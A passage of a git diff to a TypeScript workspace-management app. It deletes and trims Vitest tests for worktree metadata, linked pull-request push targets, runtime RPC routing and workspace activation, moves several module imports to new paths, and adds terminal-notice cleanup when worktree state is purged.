-    const fetchHostedReviewForBranch = vi.fn().mockResolvedValue(null)
-    store.setState({
-      repos: [
-        { id: 'repo1', path: '/repo1', displayName: 'Repo 1', badgeColor: '#000', addedAt: 0 }
-      ],
-      worktreesByRepo: { repo1: [wt] },
-      fetchHostedReviewForBranch
-    } as Partial<AppState>)
-
-    await store.getState().updateWorktreeMeta(wt.id, { linkedGitLabMR: 42 })
-    expect(mockApi.worktrees.updateMeta).toHaveBeenCalledWith({
-      worktreeId: wt.id,
-      executionHostId: wt.hostId ?? 'local',
-      updates: expect.objectContaining({
-        linkedGitLabMR: 42,
-        pushTarget: undefined
-      })
-    })
-    expect(store.getState().worktreesByRepo.repo1[0]).toMatchObject({
-      linkedPR: null,
-      linkedGitLabMR: 42
-    })
-    expect(store.getState().worktreesByRepo.repo1[0]?.pushTarget).toBeUndefined()
-    expect(fetchHostedReviewForBranch).toHaveBeenCalledWith('/repo1', 'review-branch', {
-      repoId: 'repo1',
-      repoOwnerExecutionHostId: 'local',
-      linkedGitHubPR: null,
-      linkedGitLabMR: 42,
-      linkedBitbucketPR: null,
-      linkedAzureDevOpsPR: null,
-      linkedGiteaPR: null,
-      force: true
-    })
-
-    mockApi.worktrees.updateMeta.mockClear()
-    mockApi.worktrees.resolveMrBase.mockResolvedValueOnce({
-      baseBranch: 'upstream/main',
-      pushTarget: newPushTarget
-    })
-
-    await store.getState().ensureHostedReviewPushTarget(wt.id)
-
-    expect(mockApi.worktrees.resolveMrBase).toHaveBeenCalledWith({
-      repoId: 'repo1',
-      mrIid: 42
-    })
-    expect(mockApi.worktrees.updateMeta).toHaveBeenCalledWith({
-      worktreeId: wt.id,
-      executionHostId: wt.hostId ?? 'local',
-      updates: expect.objectContaining({ pushTarget: newPushTarget })
-    })
-    expect(store.getState().worktreesByRepo.repo1[0]?.pushTarget).toEqual(newPushTarget)
-  })
-
-  it('resolves a manually linked GitHub PR through the worktree owner runtime', async () => {
-    const store = createTestStore()
-    const pushTarget = { remoteName: 'fork', branchName: 'owner-runtime/manual-pr' }
-    const wt = makeWorktree({
-      id: 'repo1::/remote/wt1',
-      repoId: 'repo1',
-      path: '/remote/wt1',
-      hostId: 'runtime:owner-env'
-    })
-    runtimeEnvironmentCall.mockImplementation(({ method }: RuntimeEnvironmentCallRequest) => {
-      if (method === 'worktree.resolvePrBase') {
-        return Promise.resolve({
-          id: 'rpc-owner-resolve-pr-base',
-          ok: true,
-          result: { baseBranch: 'fork-head', pushTarget },
-          _meta: { runtimeId: 'owner-env' }
-        })
-      }
-      if (method === 'worktree.set') {
-        return Promise.resolve({
-          id: 'rpc-owner-set-worktree',
-          ok: true,
-          result: { worktree: { ...wt, linkedPR: 2548, pushTarget } },
-          _meta: { runtimeId: 'owner-env' }
-        })
-      }
-      throw new Error(`Unexpected runtime method ${method}`)
-    })
-    store.setState({
-      settings: { activeRuntimeEnvironmentId: 'focused-env' } as never,
-      repos: [
-        { id: 'repo1', path: '/repo1', displayName: 'Repo 1', badgeColor: '#000', addedAt: 0 }
-      ],
-      worktreesByRepo: { repo1: [wt] }
-    } as Partial<AppState>)
-
-    await store.getState().updateWorktreeMeta(wt.id, { linkedPR: 2548 })
-
-    expect(runtimeEnvironmentCall).toHaveBeenCalledWith(
-      expect.objectContaining({
-        selector: 'owner-env',
-        method: 'worktree.resolvePrBase',
-        params: expect.objectContaining({ repo: 'repo1', prNumber: 2548 }),
-        timeoutMs: 30_000
-      })
-    )
-    expect(runtimeEnvironmentCall).toHaveBeenCalledWith(
-      expect.objectContaining({
-        selector: 'owner-env',
-        method: 'worktree.set',
-        params: expect.objectContaining({
-          worktree: `id:${wt.id}`,
-          linkedPR: 2548,
-          suppressedGitHubPR: null,
-          pushTarget
-        }),
-        timeoutMs: 15_000
-      })
-    )
-    expect(mockApi.worktrees.resolvePrBase).not.toHaveBeenCalled()
-    expect(mockApi.worktrees.updateMeta).not.toHaveBeenCalled()
-    expect(store.getState().worktreesByRepo.repo1[0]?.pushTarget).toEqual(pushTarget)
-  })
-
-  it('sends a runtime clear when unlinking a review-owned push target', async () => {
-    const store = createTestStore()
-    const pushTarget = { remoteName: 'fork', branchName: 'owner-runtime/old-pr' }
-    const wt = makeWorktree({
-      id: 'repo1::/remote/wt1',
-      repoId: 'repo1',
-      path: '/remote/wt1',
-      hostId: 'runtime:owner-env',
-      linkedPR: 2548,
-      pushTarget
-    })
-    runtimeEnvironmentCall.mockImplementation(({ method }: RuntimeEnvironmentCallRequest) => {
-      if (method === 'worktree.set') {
-        return Promise.resolve({
-          id: 'rpc-owner-clear-worktree',
-          ok: true,
-          result: { worktree: { ...wt, linkedPR: null, pushTarget: undefined } },
-          _meta: { runtimeId: 'owner-env' }
-        })
-      }
-      throw new Error(`Unexpected runtime method ${method}`)
-    })
-    store.setState({
-      settings: { activeRuntimeEnvironmentId: 'focused-env' } as never,
-      repos: [
-        { id: 'repo1', path: '/repo1', displayName: 'Repo 1', badgeColor: '#000', addedAt: 0 }
-      ],
-      worktreesByRepo: { repo1: [wt] }
-    } as Partial<AppState>)
-
-    await store.getState().updateWorktreeMeta(wt.id, { linkedPR: null })
-
-    expect(runtimeEnvironmentCall).toHaveBeenCalledWith(
-      expect.objectContaining({
-        selector: 'owner-env',
-        method: 'worktree.set',
-        params: expect.objectContaining({
-          worktree: `id:${wt.id}`,
-          linkedPR: null,
-          pushTarget: null
-        }),
-        timeoutMs: 15_000
-      })
-    )
-    expect(mockApi.worktrees.updateMeta).not.toHaveBeenCalled()
-    expect(store.getState().worktreesByRepo.repo1[0]?.pushTarget).toBeUndefined()
-  })
-
-  it('hydrates an SSH-owned linked GitHub PR push target through local IPC when a runtime is focused', async () => {
-    const store = createTestStore()
-    const pushTarget = { remoteName: 'fork', branchName: 'feature/ssh-pr' }
-    const wt = makeWorktree({
-      id: 'repo-ssh::/home/orca/runtime-wt',
-      repoId: 'repo-ssh',
-      path: '/home/orca/runtime-wt',
-      linkedPR: 5571,
-      hostId: 'ssh:ssh-1'
-    })
-    mockApi.worktrees.resolvePrBase.mockResolvedValueOnce({
-      baseBranch: 'fork-head',
-      pushTarget
-    })
-    store.setState({
-      settings: { activeRuntimeEnvironmentId: 'env-1' } as never,
-      repos: [
-        {
-          id: 'repo-ssh',
-          path: '/home/orca/repo',
-          displayName: 'SSH Repo',
-          badgeColor: '#000',
-          addedAt: 0,
-          connectionId: 'ssh-1'
-        }
-      ],
-      worktreesByRepo: { 'repo-ssh': [wt] }
-    } as Partial<AppState>)
-
-    await store.getState().ensureHostedReviewPushTarget(wt.id)
-
-    expect(mockApi.worktrees.resolvePrBase).toHaveBeenCalledWith({
-      repoId: 'repo-ssh',
-      prNumber: 5571
-    })
-    expect(mockApi.worktrees.updateMeta).toHaveBeenCalledWith({
-      worktreeId: wt.id,
-      executionHostId: wt.hostId ?? 'local',
-      updates: expect.objectContaining({ pushTarget })
-    })
-    expect(runtimeEnvironmentCall).not.toHaveBeenCalled()
-    expect(store.getState().worktreesByRepo['repo-ssh'][0]?.pushTarget).toEqual(pushTarget)
-  })
-  it('updates only the explicitly selected owner when locators collide', async () => {
-    const store = createTestStore()
-    const worktreeId = 'repo-shared::/same/path'
-    const sshA = makeWorktree({
-      id: worktreeId,
-      repoId: 'repo-shared',
-      hostId: 'ssh:ssh-a',
-      runtimeOwnerEnvironmentId: 'hub-a',
-      comment: 'A'
-    })
-    const sshB = makeWorktree({
-      id: worktreeId,
-      repoId: 'repo-shared',
-      hostId: 'ssh:ssh-b',
-      runtimeOwnerEnvironmentId: 'hub-b',
-      comment: 'B'
-    })
-    runtimeEnvironmentCall.mockResolvedValue({
-      id: 'rpc-set-selected-owner',
-      ok: true,
-      result: { worktree: sshB },
-      _meta: { runtimeId: 'hub-b' }
-    })
-    store.setState({
-      settings: { activeRuntimeEnvironmentId: 'hub-a' } as never,
-      worktreesByRepo: { 'repo-shared': [sshA, sshB] }
-    } as Partial<AppState>)
-
-    const result = await store
-      .getState()
-      .updateWorktreeMeta(worktreeId, { comment: 'selected B' }, { executionHostId: 'ssh:ssh-b' })
-
-    expect(result).toEqual({ ok: true })
-    expect(store.getState().worktreesByRepo['repo-shared']).toEqual([
-      expect.objectContaining({ hostId: 'ssh:ssh-a', comment: 'A' }),
-      expect.objectContaining({ hostId: 'ssh:ssh-b', comment: 'selected B' })
-    ])
-    expect(runtimeEnvironmentCall).toHaveBeenCalledWith(
-      expect.objectContaining({
-        selector: 'hub-b',
-        method: 'worktree.set',
-        params: expect.objectContaining({ comment: 'selected B' })
-      })
-    )
-  })
-
   it('cleans up the in-flight lookup when restore is skipped for a genuinely ambiguous owner', async () => {
     const store = createTestStore()
     const worktreeId = 'repo-shared::/same/path'
diff --git a/src/renderer/src/store/slices/worktrees/metadata/worktrees-multiple-attachments.test.ts b/src/renderer/src/store/slices/worktrees/metadata/worktrees-multiple-attachments.test.ts
index c4370968bf6..e4525c0fb09 100644
--- a/src/renderer/src/store/slices/worktrees/metadata/worktrees-multiple-attachments.test.ts
+++ b/src/renderer/src/store/slices/worktrees/metadata/worktrees-multiple-attachments.test.ts
@@ -1,7 +1,5 @@
 import { beforeEach, describe, expect, it, vi } from 'vitest'
 import { getWorkspaceAttachments } from '../../../../../../shared/workspace-attachments/workspace-attachments'
-import { folderWorkspaceKey } from '../../../../../../shared/workspace-scope'
-import { makeFolderWorkspace } from '../../../folder-workspaces/folder-workspace.test-fixture'
 import { makeWorktree } from '../worktree.test-fixture'
 import {
   createTestStore,
@@ -58,24 +56,4 @@ describe('workspace attachment collections', () => {
     const write = mockApi.worktrees.updateMeta.mock.lastCall?.[0].updates
     expect(write).toMatchObject({ linkedItemsBase: base, linkedItems: [base[1]] })
   })
-
-  it('routes folder links to the owning folder update instead of dropping them', async () => {
-    const store = createTestStore()
-    const folder = makeFolderWorkspace()
-    const updateFolderWorkspace = vi.fn().mockResolvedValue(true)
-    store.setState({ folderWorkspaces: [folder], updateFolderWorkspace })
-    const linkedItems = [
-      { provider: 'linear', type: 'issue', number: 0, identifier: 'ENG-42' }
-    ] as const
-    const result = await store.getState().updateWorktreeMeta(folderWorkspaceKey(folder.id), {
-      linkedItems: [...linkedItems]
-    })
-    expect(result).toEqual({ ok: true })
-    expect(updateFolderWorkspace).toHaveBeenCalledWith(
-      folder.id,
-      expect.objectContaining({ linkedItems }),
-      { executionHostId: 'local' }
-    )
-    expect(mockApi.worktrees.updateMeta).not.toHaveBeenCalled()
-  })
 })
diff --git a/src/renderer/src/store/slices/worktrees/session/folder-workspace-activation-and-activity.test.ts b/src/renderer/src/store/slices/worktrees/session/folder-workspace-activation-and-activity.test.ts
index 34d13c9df85..be92d9d6b35 100644
--- a/src/renderer/src/store/slices/worktrees/session/folder-workspace-activation-and-activity.test.ts
+++ b/src/renderer/src/store/slices/worktrees/session/folder-workspace-activation-and-activity.test.ts
@@ -1,5 +1,5 @@
 import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import { installAttentionScreen } from '../../workspace-attention/workspace-unread-characterization-fixture'
+import '../../workspace-attention/workspace-unread-characterization-fixture'
 import type { AppState } from '../../../types'
 import type { FolderWorkspace } from '../../../../../../shared/folder-workspaces/folder-workspace-types'
 import type { ProjectGroup } from '../../../../../../shared/project-group-types'
@@ -101,28 +101,6 @@ afterEach(() => {
 })
 
 describe('folder workspace generic activation and activity', () => {
-  it('publishes folder-scoped active state and reads the flag once on screen', async () => {
-    const folderWorkspace = makeFolderWorkspace({ isUnread: true })
-    const workspaceKey = folderWorkspaceKey(folderWorkspace.id)
-    folderWorkspacesUpdate.mockImplementation(respondWithUpdates(folderWorkspace))
-    const store = seedLocalFolderStore(folderWorkspace)
-
-    installAttentionScreen(store, true)
-    store.getState().setActiveWorktree(workspaceKey)
-    await Promise.resolve()
-
-    expect(store.getState()).toMatchObject({
-      activeRepoId: null,
-      activeWorktreeId: workspaceKey,
-      activeWorkspaceKey: workspaceKey
-    })
-    expect(store.getState().folderWorkspaces[0]?.isUnread).toBe(false)
-    expect(folderWorkspacesUpdate).toHaveBeenCalledWith({
-      folderWorkspaceId: folderWorkspace.id,
-      updates: { isUnread: false }
-    })
-  })
-
   it('coalesces repeated activity persistence while keeping local activity current', async () => {
     vi.useFakeTimers()
     vi.setSystemTime(1_000)
diff --git a/src/renderer/src/store/slices/worktrees/session/set-active-worktree.ts b/src/renderer/src/store/slices/worktrees/session/set-active-worktree.ts
index 6ea7be84063..28b034ae4ce 100644
--- a/src/renderer/src/store/slices/worktrees/session/set-active-worktree.ts
+++ b/src/renderer/src/store/slices/worktrees/session/set-active-worktree.ts
@@ -1,6 +1,4 @@
 import { cancelActiveWorktreeRemoval } from '@/store/workspaces/selection/active-worktree-deselection-intent'
-import type { WorktreeSlice } from '../worktree-slice-contract'
-import type { WorktreeSliceGet, WorktreeSliceSet } from '../listing/worktree-slice-types'
 import { projectWorktreeTabModelReconciliation } from '../../tabs/tabs-reconciliation'
 import { moveFocusToRendererBeforeFocusedWebviewHidden } from '../../../../components/browser-pane/host-guest/webview-registry'
 import { tabHasLivePty } from '../../../../../../shared/tab-has-live-pty'
@@ -21,11 +19,13 @@ import {
 } from '../../../../../../shared/workspace-scope'
 import { findKnownWorktreeById } from '../listing/detected-worktree-meta'
 import { resolveActivatedWorktreeSurface } from './active-worktree-surface'
-import { clearWorktreeSleepIntent } from '@/lib/worktree-sleep-intent'
+import { clearWorktreeSleepIntent } from '@/lib/workspace/sleep/worktree-sleep-intent'
 import {
   pendingActivationTerminalPrepCancels,
   shouldDeferActivationTerminalPrep
 } from './activation-terminal-prep'
+import type { WorktreeSlice } from '../worktree-slice-contract'
+import type { WorktreeSliceGet, WorktreeSliceSet } from '../listing/worktree-slice-types'
 
 export function createSetActiveWorktree(
   set: WorktreeSliceSet,
diff --git a/src/renderer/src/store/slices/worktrees/session/store-active-worktree-selection.test.ts b/src/renderer/src/store/slices/worktrees/session/store-active-worktree-selection.test.ts
deleted file mode 100644
index dd48af07e5f..00000000000
--- a/src/renderer/src/store/slices/worktrees/session/store-active-worktree-selection.test.ts
+++ /dev/null
@@ -1,199 +0,0 @@
-import { describe, it, expect, vi, beforeEach } from 'vitest'
-import '../../workspace-attention/workspace-unread-characterization-fixture'
-import type * as AgentStatusModule from '@/lib/agent-status/aggregation/worktree-agent-status'
-import { buildWorktreeComparator } from '../../../../../../shared/sidebar-list/smart-sort'
-import '../../../../../../shared/workspace-scope'
-import { createTestStore, seedStore } from '../../../testing/app-store-test-fixture'
-import { makeOpenFile } from '../../editor/types/open-file.test-fixture'
-import { makeTab } from '../../../terminals/terminal-tab.test-fixture'
-import { makeTabGroup, makeUnifiedTab } from '../../tabs/tab-group.test-fixture'
-import { makeWorktree } from '../worktree.test-fixture'
-import { createStoreCascadesMockApi } from '../../../testing/app-store-cascade-api.test-fixture'
-
-const mockUnregisterPtyDataHandlers = vi.hoisted(() => vi.fn<() => unknown[]>(() => []))
-const mockRestorePtyDataHandlersAfterFailedShutdown = vi.hoisted(() => vi.fn())
-
-vi.mock('sonner', () => ({
-  toast: { info: vi.fn(), success: vi.fn(), error: vi.fn(), warning: vi.fn() }
-}))
-
-vi.mock('@/components/terminal-pane/pty-transport/delivery/pty-dispatcher', () => ({}))
-
-vi.mock('@/components/terminal-pane/pty-transport/shutdown/pty-shutdown-data-suspension', () => ({
-  restorePtyDataHandlersAfterFailedShutdown: mockRestorePtyDataHandlersAfterFailedShutdown,
-  unregisterPtyDataHandlers: mockUnregisterPtyDataHandlers
-}))
-
-vi.mock('@/lib/agent-status/aggregation/worktree-agent-status', async (importOriginal) => {
-  const actual = await importOriginal<typeof AgentStatusModule>()
-  return {
-    ...actual,
-    detectAgentStatusFromTitle: vi.fn().mockReturnValue(null)
-  }
-})
-
-const mockApi = createStoreCascadesMockApi()
-
-describe('setActiveWorktree', () => {
-  beforeEach(() => {
-    vi.clearAllMocks()
-    mockApi.worktrees.updateMeta.mockResolvedValue({})
-  })
-
-  it('does not change smart-sort rank after selection when a background event bumps sortEpoch', () => {
-    const store = createTestStore()
-    const focusedId = 'repo1::/path/focused'
-    const backgroundId = 'repo1::/path/background'
-    const now = new Date('2026-04-16T12:00:00.000Z').getTime()
-
-    vi.spyOn(Date, 'now').mockReturnValue(now)
-
-    seedStore(store, {
-      worktreesByRepo: {
-        repo1: [
-          makeWorktree({
-            id: focusedId,
-            repoId: 'repo1',
-            displayName: 'Focused',
-            lastActivityAt: now - 2 * 60_000
-          }),
-          makeWorktree({
-            id: backgroundId,
-            repoId: 'repo1',
-            displayName: 'Background',
-            lastActivityAt: now - 60_000
-          })
-        ]
-      },
-      refreshGitHubForWorktree: vi.fn(),
-      refreshGitHubForWorktreeIfStale: vi.fn()
-    })
-
-    store.getState().setActiveWorktree(focusedId)
-    store.getState().bumpWorktreeActivity(backgroundId)
-
-    const worktrees = [...store.getState().worktreesByRepo.repo1]
-    const repoMap = new Map(store.getState().repos.map((repo) => [repo.id, repo]))
-    worktrees.sort(buildWorktreeComparator('smart', repoMap, now, new Map()))
-
-    expect(worktrees.map((worktree) => worktree.id)).toEqual([backgroundId, focusedId])
-  })
-
-  it('falls back to the worktree browser tab when the restored editor id belongs to a different worktree', () => {
-    const store = createTestStore()
-    const wt1 = 'repo1::/path/wt1'
-    const wt2 = 'repo1::/path/wt2'
-    const otherFileId = '/path/wt2/file.ts'
-    const browserTabId = 'browser-1'
-
-    seedStore(store, {
-      worktreesByRepo: {
-        repo1: [
-          makeWorktree({ id: wt1, repoId: 'repo1', path: '/path/wt1' }),
-          makeWorktree({ id: wt2, repoId: 'repo1', path: '/path/wt2' })
-        ]
-      },
-      openFiles: [makeOpenFile({ id: otherFileId, worktreeId: wt2 })],
-      activeFileIdByWorktree: { [wt1]: otherFileId },
-      browserTabsByWorktree: {
-        [wt1]: [
-          {
-            id: browserTabId,
-            worktreeId: wt1,
-            url: 'https://example.com',
-            title: 'Example',
-            loading: false,
-            faviconUrl: null,
-            canGoBack: false,
-            canGoForward: false,
-            loadError: null,
-            createdAt: 0
-          }
-        ]
-      },
-      activeBrowserTabIdByWorktree: { [wt1]: browserTabId },
-      activeTabTypeByWorktree: { [wt1]: 'editor' }
-    })
-
-    store.getState().setActiveWorktree(wt1)
-
-    const s = store.getState()
-    expect(s.activeWorktreeId).toBe(wt1)
-    expect(s.activeBrowserTabId).toBe(browserTabId)
-    expect(s.activeTabType).toBe('browser')
-    expect(s.activeFileId).toBeNull()
-  })
-
-  it('prefers the unified active tab over stale legacy browser restore state', () => {
-    const store = createTestStore()
-    const wt = 'repo1::/path/wt1'
-    const groupId = 'group-1'
-    const terminalId = 'terminal-1'
-    const browserTabId = 'browser-1'
-
-    seedStore(store, {
-      worktreesByRepo: {
-        repo1: [makeWorktree({ id: wt, repoId: 'repo1', path: '/path/wt1' })]
-      },
-      tabsByWorktree: {
-        [wt]: [makeTab({ id: terminalId, worktreeId: wt })]
-      },
-      browserTabsByWorktree: {
-        [wt]: [
-          {
-            id: browserTabId,
-            worktreeId: wt,
-            url: 'https://example.com',
-            title: 'Example',
-            loading: false,
-            faviconUrl: null,
-            canGoBack: false,
-            canGoForward: false,
-            loadError: null,
-            createdAt: 0
-          }
-        ]
-      },
-      activeBrowserTabIdByWorktree: { [wt]: browserTabId },
-      activeTabTypeByWorktree: { [wt]: 'browser' },
-      unifiedTabsByWorktree: {
-        [wt]: [
-          makeUnifiedTab({
-            id: 'tab-terminal-1',
-            entityId: terminalId,
-            worktreeId: wt,
-            groupId,
-            contentType: 'terminal'
-          }),
-          makeUnifiedTab({
-            id: 'tab-browser-1',
-            entityId: browserTabId,
-            worktreeId: wt,
-            groupId,
-            contentType: 'browser'
-          })
-        ]
-      },
-      groupsByWorktree: {
-        [wt]: [
-          makeTabGroup({
-            id: groupId,
-            worktreeId: wt,
-            activeTabId: 'tab-terminal-1',
-            tabOrder: ['tab-terminal-1', 'tab-browser-1']
-          })
-        ]
-      },
-      activeGroupIdByWorktree: { [wt]: groupId }
-    })
-
-    store.getState().setActiveWorktree(wt)
-
-    const s = store.getState()
-    expect(s.activeWorktreeId).toBe(wt)
-    expect(s.activeTabType).toBe('terminal')
-    expect(s.activeTabTypeByWorktree[wt]).toBe('terminal')
-    expect(s.activeTabId).toBe(terminalId)
-    expect(s.activeBrowserTabId).toBe(browserTabId)
-  })
-})
diff --git a/src/renderer/src/store/slices/worktrees/session/workspace-activation-preparation.test.ts b/src/renderer/src/store/slices/worktrees/session/workspace-activation-preparation.test.ts
index 34c0a66bd53..9b827510808 100644
--- a/src/renderer/src/store/slices/worktrees/session/workspace-activation-preparation.test.ts
+++ b/src/renderer/src/store/slices/worktrees/session/workspace-activation-preparation.test.ts
@@ -1,16 +1,16 @@
 import { afterEach, expect, it, vi } from 'vitest'
 import { installAttentionScreen } from '../../workspace-attention/workspace-unread-characterization-fixture'
 import { folderWorkspaceKey } from '../../../../../../shared/workspace-scope'
-import type { ExecutionHostId } from '../../../../../../shared/execution-host'
 import {
   markWorktreeSleepIntent,
   onWorktreeSleepIntentCleared,
   forgetWorktreeSleepIntent
-} from '@/lib/worktree-sleep-intent'
+} from '@/lib/workspace/sleep/worktree-sleep-intent'
 import { createTestStore } from '../../../testing/app-store-test-fixture'
 import { makeTab } from '../../../terminals/terminal-tab.test-fixture'
 import { makeWorktree } from '../worktree.test-fixture'
 import { makeFolderWorkspace } from '../../../folder-workspaces/folder-workspace.test-fixture'
+import type { ExecutionHostId } from '../../../../../../shared/execution-host'
 
 const FOLDER_ID = 'folder-activation'
 const FOLDER_KEY = folderWorkspaceKey(FOLDER_ID)
@@ -69,44 +69,6 @@ it('wakes slept folder on local after publishing restored explorer and terminal
   expect(store.getState().refreshGitHubForWorktreeIfStale).not.toHaveBeenCalled()
 })
 
-it('wakes slept git on local after publishing restored explorer and terminal state', () => {
-  const { store, workspaceId, activate } = seedWorkspace('git', 'local')
-  markWorktreeSleepIntent(workspaceId)
-  const wake = vi.fn(() => {
-    expect(store.getState().activeWorktreeId).toBe('worktree-activation')
-    expect(store.getState().tabsByWorktree[workspaceId][0].generation).toBe(4)
-    expect(store.getState().rightSidebarExplorerView).toBe('files')
-  })
-  onWorktreeSleepIntentCleared(workspaceId, wake)
-
-  activate()
-
-  expect(wake).toHaveBeenCalledOnce()
-  expect(store.getState().activeWorkspaceExecutionHostId).toBe('local')
-  expect(store.getState().tabsByWorktree[workspaceId][0].pendingActivationSpawn).toBe(true)
-  expect(store.getState().activeTabId).toBe('terminal')
-  expect(store.getState().refreshGitHubForWorktreeIfStale).toHaveBeenCalled()
-})
-
-it('wakes slept folder on ssh:remote after publishing restored explorer and terminal state', () => {
-  const { store, workspaceId, activate } = seedWorkspace('folder', 'ssh:remote')
-  markWorktreeSleepIntent(workspaceId)
-  const wake = vi.fn(() => {
-    expect(store.getState().activeWorktreeId).toBe('folder:folder-activation')
-    expect(store.getState().tabsByWorktree[workspaceId][0].generation).toBe(4)
-    expect(store.getState().rightSidebarExplorerView).toBe('files')
-  })
-  onWorktreeSleepIntentCleared(workspaceId, wake)
-
-  activate()
-
-  expect(wake).toHaveBeenCalledOnce()
-  expect(store.getState().activeWorkspaceExecutionHostId).toBe('ssh:remote')
-  expect(store.getState().tabsByWorktree[workspaceId][0].pendingActivationSpawn).toBe(true)
-  expect(store.getState().activeTabId).toBe('terminal')
-  expect(store.getState().refreshGitHubForWorktreeIfStale).not.toHaveBeenCalled()
-})
-
 it('wakes slept git on ssh:remote after publishing restored explorer and terminal state', () => {
   const { store, workspaceId, activate } = seedWorkspace('git', 'ssh:remote')
   markWorktreeSleepIntent(workspaceId)
diff --git a/src/renderer/src/store/slices/worktrees/session/worktree-activity-bump.ts b/src/renderer/src/store/slices/worktrees/session/worktree-activity-bump.ts
index ea7b9af6af8..1dc0f692a79 100644
--- a/src/renderer/src/store/slices/worktrees/session/worktree-activity-bump.ts
+++ b/src/renderer/src/store/slices/worktrees/session/worktree-activity-bump.ts
@@ -10,7 +10,7 @@ import {
   findKnownWorktreeById
 } from '../listing/detected-worktree-meta'
 import { getFolderWorkspaceActivityPersistence } from './folder-workspace-activity'
-import { warnAmbiguousOwnerOnce } from '@/lib/ambiguous-owner-warning'
+import { warnAmbiguousOwnerOnce } from '@/lib/workspace/ownership/ambiguous-owner-warning'
 import { persistWorktreeMeta } from '../metadata/worktree-meta-persist'
 import { isRuntimeSelectorNotFoundError } from '../listing/runtime-worktree-rpc-errors'
 
diff --git a/src/renderer/src/store/slices/worktrees/session/worktree-slice-lookups.ts b/src/renderer/src/store/slices/worktrees/session/worktree-slice-lookups.ts
index c731b44527c..54c9eec7423 100644
--- a/src/renderer/src/store/slices/worktrees/session/worktree-slice-lookups.ts
+++ b/src/renderer/src/store/slices/worktrees/session/worktree-slice-lookups.ts
@@ -1,3 +1,4 @@
+import { captureWorkspaceTerminalNoticeRemoval } from '../../../terminals/terminal-notice-removal'
 import type { WorktreeSlice } from '../worktree-slice-contract'
 import type { WorktreeSliceGet, WorktreeSliceSet } from '../listing/worktree-slice-types'
 import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../../shared/constants'
@@ -145,6 +146,10 @@ export function createPurgeWorktreeTerminalState(
     if (purgeableWorktreeTargets.length === 0) {
       return
     }
+    const retireNotices = captureWorkspaceTerminalNoticeRemoval(
+      get(),
+      purgeableWorktreeTargets.map((target) => (typeof target === 'string' ? target : target.id))
+    )
     // Why before the purge: delayed views must commit text the purge may offer back.
     flushPurgedWorkspaceEdits(
       get(),
@@ -157,5 +162,6 @@ export function createPurgeWorktreeTerminalState(
         buildWorktreePurgeState(s, purgeableWorktreeTargets, changedPaneKeys)
       )
     )
+    retireNotices(get())
   }
 }
diff --git a/src/renderer/src/store/slices/worktrees/session/worktrees-identity-migration.test.ts b/src/renderer/src/store/slices/worktrees/session/worktrees-identity-migration.test.ts
index 269aab3e23d..1c8118ebdd6 100644
--- a/src/renderer/src/store/slices/worktrees/session/worktrees-identity-migration.test.ts
+++ b/src/renderer/src/store/slices/worktrees/session/worktrees-identity-migration.test.ts
@@ -1,13 +1,7 @@
 import { beforeEach, describe, expect, it, vi } from 'vitest'
 import type { AppState } from '../../../types'
-import {
-  beginHugeRepoWarningProbe,
-  clearHugeRepoWarningDismissalsForTests,
-  hasDismissedHugeRepoWarning,
-  markHugeRepoWarningDismissed
-} from '@/lib/source-control/warnings/source-control-huge-repo-warning-dismissals'
+import { clearHugeRepoWarningDismissalsForTests } from '@/lib/source-control/warnings/source-control-huge-repo-warning-dismissals'
 import { resetHostedReviewLinkMutationGenerationForTests } from '../metadata/hosted-review-link-mutation'
-import { worktreeWorkspaceKey } from '../../../../../../shared/workspace-scope'
 import { makeWorktree } from '../worktree.test-fixture'
 import {
   createTestStore,
@@ -46,163 +40,6 @@ describe('migrateWorktreeIdentity', () => {
     clearHugeRepoWarningDismissalsForTests()
   })
 
-  it('carries a dismissal across rename while invalidating the old-path probe', () => {
-    const store = createTestStore()
-    const staleProbe = beginHugeRepoWarningProbe({ id: OLD, instanceId: 'persisted-instance' })
-    expect(markHugeRepoWarningDismissed(staleProbe)).toBe(true)
-
-    store.getState().migrateWorktreeIdentity(OLD, NEW)
-
-    const renamedProbe = beginHugeRepoWarningProbe({ id: NEW, instanceId: 'persisted-instance' })
-    expect(hasDismissedHugeRepoWarning(staleProbe)).toBe(false)
-    expect(markHugeRepoWarningDismissed(staleProbe)).toBe(false)
-    expect(hasDismissedHugeRepoWarning(renamedProbe)).toBe(true)
-  })
-
-  it('re-keys worktree-scoped maps, pointers, the Set, and openFiles old->new', () => {
-    const store = createTestStore()
-    store.setState({
-      activeWorktreeId: OLD,
-      activeWorkspaceKey: worktreeWorkspaceKey(OLD),
-      renamingWorktreeId: { worktreeId: OLD, rowKey: 'all:old' },
-      tabsByWorktree: { [OLD]: [{ id: 'tab1', worktreeId: OLD }] },
-      rightSidebarExplorerViewByWorktree: { [OLD]: 'search' },
-      fileSearchStateByWorktree: {
-        [OLD]: { resultOwner: { worktreeId: OLD, runtimeEnvironmentId: 'runtime-a' } }
-      },
-      activeTabIdByWorktree: { [OLD]: 'tab1' },
-      browserTabsByWorktree: {
-        [OLD]: [
-          {
-            id: 'browser1',
-            worktreeId: OLD,
-            docLocation: {
-              kind: 'workspace-doc',
-              worktreeId: OLD,
-              filePath: '/ws/cunner/docs/report.html'
-            }
-          }
-        ]
-      },
-      browserPagesByWorkspace: {
-        browser1: [
-          {
-            id: 'page1',
-            worktreeId: OLD,
-            docLocation: {
-              kind: 'workspace-doc',
-              worktreeId: OLD,
-              filePath: '/ws/cunner/docs/report.html'
-            }
-          }
-        ]
-      },
-      recentlyClosedBrowserTabsByWorktree: {
-        [OLD]: [
-          { workspace: { id: 'closed-browser', worktreeId: OLD }, pages: [{ worktreeId: OLD }] }
-        ]
-      },
-      recentlyClosedBrowserPagesByWorkspace: { browser1: [{ id: 'closed-page', worktreeId: OLD }] },
-      unifiedTabsByWorktree: { [OLD]: [{ id: 'unified1', worktreeId: OLD }] },
-      groupsByWorktree: { [OLD]: [{ id: 'group1', worktreeId: OLD }] },
-      gitStatusByWorktree: { [OLD]: [{ path: 'a.ts' }] },
-      gitStatusHeadByWorktree: { [OLD]: 'head-old' },
-      gitBranchLineTotalByWorktree: { [OLD]: { added: 24, removed: 3, mergeBase: 'base-old' } },
-      gitBranchCompareRequestStatusHeadByWorktree: { [OLD]: 'head-old' },
-      lastVisitedAtByWorktreeId: { [OLD]: 123 },
-      defaultTerminalTabsAppliedByWorktreeId: { [OLD]: true },
-      recentlyClosedEditorTabsByWorktree: { [OLD]: [{ id: 'f1', worktreeId: OLD }] },
-      recentlyClosedTerminalTabsByWorktree: {
